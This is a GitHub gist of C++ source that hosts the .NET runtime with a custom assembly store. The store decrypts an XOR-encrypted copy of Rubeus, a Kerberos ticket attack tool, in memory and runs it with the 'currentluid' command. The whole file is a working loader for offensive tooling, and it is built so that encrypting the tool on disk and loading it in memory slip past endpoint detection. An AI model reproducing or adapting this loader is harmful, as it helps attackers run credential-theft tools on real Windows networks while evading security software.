Skip to content

Instantly share code, notes, and snippets.

@odzhan
Created February 26, 2025 05:22
Show Gist options
  • Save odzhan/5416ffc02555f6d16d5eaeac83077e9b to your computer and use it in GitHub Desktop.
Save odzhan/5416ffc02555f6d16d5eaeac83077e9b to your computer and use it in GitHub Desktop.
hosting
//#include "x64/Debug/mscorlib.tlh"
#import "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.tlb" rename("or", "or2") rename("ReportEvent", "ReportEvent2") no_namespace raw_interfaces_only
#include <iostream>
#define __IObjectHandle_INTERFACE_DEFINED__
#include <MScorEE.h>
#include <MetaHost.h>
#include <shlwapi.h>
#include <vector>
#include <fstream>
#include "objbase.h"
#pragma comment(lib, "mscoree.lib")
#pragma comment(lib, "Shlwapi.lib")
std::vector<char> SimpleReadToByteArray(const std::string& filePath) {
std::ifstream file(filePath, std::ios::binary);
if (!file.is_open()) {
throw std::runtime_error("Error: Unable to open the DLL file.");
}
return { std::istreambuf_iterator<char>(file), {} };
}
void SimpleInPlaceDecrypt(char* buf, const std::size_t size) {
for (unsigned i = 0; i < size; i++) {
buf[i] ^= 0x1a;
}
}
class CHostAssemblyStore : public IHostAssemblyStore {
public:
HRESULT __stdcall ProvideAssembly(AssemblyBindInfo* pBindInfo, UINT64* pAssemblyId, UINT64* pContext, IStream** ppStmAssemblyImage, IStream** ppStmPDB) override {
*pContext = 0;
*ppStmPDB = 0;
auto assembly = R"(C:\Users\dev\Downloads\Rubeus-1.6.4\Rubeus-1.6.4\Rubeus\bin\Debug\rubeus_enc.exe)";
auto assemblyData = SimpleReadToByteArray(assembly);
SimpleInPlaceDecrypt(assemblyData.data(), assemblyData.size());
IStream* is = SHCreateMemStream((const BYTE*)assemblyData.data(), assemblyData.size());
*pAssemblyId = 0x3279c1db2414a8cb;
*ppStmAssemblyImage = is;
return S_OK;
}
HRESULT __stdcall ProvideModule(ModuleBindInfo* pBindInfo, DWORD* pdwModuleId, IStream** ppStmModuleImage, IStream** ppStmPDB) override {
return HRESULT_FROM_WIN32(ERROR_FILE_NOT_FOUND);
}
// Inherited via IHostAssemblyStore
virtual HRESULT __stdcall QueryInterface(REFIID riid, void** ppvObject) override {
if (riid == IID_IUnknown) {
*ppvObject = (IUnknown*)this;
} else if (riid == IID_IHostAssemblyStore) {
*ppvObject = (IHostAssemblyStore*)this;
} else {
*ppvObject = NULL;
return E_NOINTERFACE;
}
static_cast<IUnknown*>(*ppvObject)->AddRef();
return S_OK;
}
virtual ULONG __stdcall AddRef(void) override {
return InterlockedIncrement(&m_Ref);
}
virtual ULONG __stdcall Release(void) override {
if (InterlockedDecrement(&m_Ref) == 0) {
delete this;
return 0;
}
return m_Ref;
}
private:
long m_Ref = 0;
};
class CHostAssemblyManager : public IHostAssemblyManager {
public:
// Inherited via IHostAssemblyManager
HRESULT __stdcall GetNonHostStoreAssemblies(ICLRAssemblyReferenceList** ppReferenceList) override {
*ppReferenceList = NULL;
return S_OK;
}
HRESULT __stdcall GetAssemblyStore(IHostAssemblyStore** ppAssemblyStore) override {
CHostAssemblyStore* pHostStore = new CHostAssemblyStore();
*ppAssemblyStore = (IHostAssemblyStore*)pHostStore;
((IHostAssemblyStore*)*ppAssemblyStore)->AddRef();
return S_OK;
}
HRESULT __stdcall QueryInterface(REFIID riid, void** ppvObject) override {
if (riid == IID_IUnknown) {
*ppvObject = (IUnknown*)this;
} else if (riid == IID_IHostAssemblyManager) {
*ppvObject = (IHostAssemblyManager*)this;
} else {
*ppvObject = NULL;
return E_NOINTERFACE;
}
static_cast<IUnknown*>(*ppvObject)->AddRef();
return S_OK;
}
ULONG __stdcall AddRef(void) override {
return InterlockedIncrement(&m_Ref);
}
ULONG __stdcall Release(void) override {
if (InterlockedDecrement(&m_Ref) == 0) {
delete this;
return 0;
}
return m_Ref;
}
private:
long m_Ref = 0;
};
class CHostControl : public IHostControl {
public:
HRESULT STDMETHODCALLTYPE GetHostManager(REFIID riid, void** ppObject) override {
if (riid == IID_IHostAssemblyManager) {
CHostAssemblyManager* mgr = new CHostAssemblyManager();
mgr->AddRef();
*ppObject = (IHostAssemblyManager*)mgr;
return S_OK;
}
return E_NOINTERFACE;
}
HRESULT STDMETHODCALLTYPE SetAppDomainManager(DWORD dwAppDomainID, IUnknown* pUnkAppDomainManager) override {
return S_OK;
}
// Inherited via IHostControl
HRESULT __stdcall QueryInterface(REFIID riid, void** ppvObject) override {
if (riid == IID_IUnknown) {
*ppvObject = (IUnknown*)this;
} else if (riid == IID_IHostControl) {
*ppvObject = (IHostControl*)this;
} else {
*ppvObject = NULL;
return E_NOINTERFACE;
}
static_cast<IUnknown*>(*ppvObject)->AddRef();
return S_OK;
}
ULONG __stdcall AddRef(void) override {
return InterlockedIncrement(&m_Ref);
}
ULONG __stdcall Release(void) override {
if (InterlockedDecrement(&m_Ref) == 0) {
delete this;
return 0;
}
return m_Ref;
}
private:
long m_Ref = 0;
};
int main() {
// Begin CLR Hosting
ICLRMetaHost* metaHost = NULL;
CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost, (LPVOID*)&metaHost);
ICLRRuntimeInfo* runtimeInfo = NULL;
metaHost->GetRuntime(L"v4.0.30319", IID_ICLRRuntimeInfo, (LPVOID*)&runtimeInfo);
ICLRRuntimeHost* runtimeHost = NULL;
runtimeInfo->GetInterface(CLSID_CLRRuntimeHost, IID_ICLRRuntimeHost, (LPVOID*)&runtimeHost);
CHostControl pHostControl{};
runtimeHost->SetHostControl((IHostControl*)&pHostControl);
runtimeHost->Start();
ICorRuntimeHost* corRuntimeHost = NULL;
runtimeInfo->GetInterface(CLSID_CorRuntimeHost, IID_ICorRuntimeHost, (LPVOID*)&corRuntimeHost);
IUnknown* appDomainThunk;
corRuntimeHost->GetDefaultDomain(&appDomainThunk);
_AppDomain* defaultAppDomain = NULL;
appDomainThunk->QueryInterface(&defaultAppDomain);
_Assembly* assembly;
HRESULT hr = defaultAppDomain->Load_2(_bstr_t("Rubeus, Version=1.0.0.0, Culture=neutral, PublicKeyToken=f8c620333ce4e57e, processorArchitecture=MSIL"), &assembly);
_TypePtr managedType = NULL;
_bstr_t managedClassName("Rubeus.Program");
assembly->GetType_2(managedClassName, &managedType);
SAFEARRAY* managedArguments = SafeArrayCreateVector(VT_VARIANT, 0, 1);
_variant_t argument(L"currentluid");
LONG index = 0;
SafeArrayPutElement(managedArguments, &index, &argument);
_bstr_t managedMethodName(L"MainString");
_variant_t managedReturnValue;
_variant_t empty;
managedType->InvokeMember_3(
managedMethodName,
static_cast<BindingFlags>(BindingFlags_InvokeMethod | BindingFlags_Static | BindingFlags_Public),
NULL, empty, managedArguments, &managedReturnValue);
std::wcout << (const wchar_t*)managedReturnValue.bstrVal;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment